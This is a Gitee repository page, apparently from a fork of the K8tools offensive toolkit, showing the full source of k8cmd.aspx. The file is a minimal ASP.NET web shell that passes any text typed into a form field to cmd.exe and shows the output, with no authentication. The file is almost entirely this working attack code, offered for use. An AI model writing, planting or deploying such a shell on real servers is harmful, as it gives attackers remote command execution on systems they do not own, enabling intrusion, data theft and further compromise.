1 Star 0 Fork 174

画画/K8tools

forked from bxqtee/K8tools 
加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
k8cmd.aspx 1.30 KB
一键复制 编辑 原始数据 按行查看 历史
k8gege 提交于 2019-02-24 19:57 . Add files via upload
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
txt_WebPath.Text = Server.MapPath(".");
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
cmdResult.Text = cmdResult.Text + Server.HtmlEncode(ExcuteCmd(txt_cmd.Text));
}
</script>
<HTML><body ><form id="cmd" method="post" runat="server">
<br />
WebPath:
<asp:TextBox ID="txt_WebPath" runat="server" Width="579px"></asp:TextBox>
&nbsp; <br />
<br />
<asp:Label ID="Label2" runat="server" Text="Commond: "></asp:Label>
<asp:TextBox ID="txt_cmd" runat="server" Width="581px"></asp:TextBox>&nbsp;
<asp:Button ID="Button1" runat="server" onclick="cmdExe_Click" Text="Execute" /><br /><br />
<asp:TextBox ID="cmdResult" runat="server" Height="662px" Width="798px" TextMode="MultiLine"></asp:TextBox>
</form></body></HTML>
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PowerShell
1
https://gitee.com/genweihua/K8tools.git
[email protected]:genweihua/K8tools.git
genweihua
K8tools
K8tools
master

搜索帮助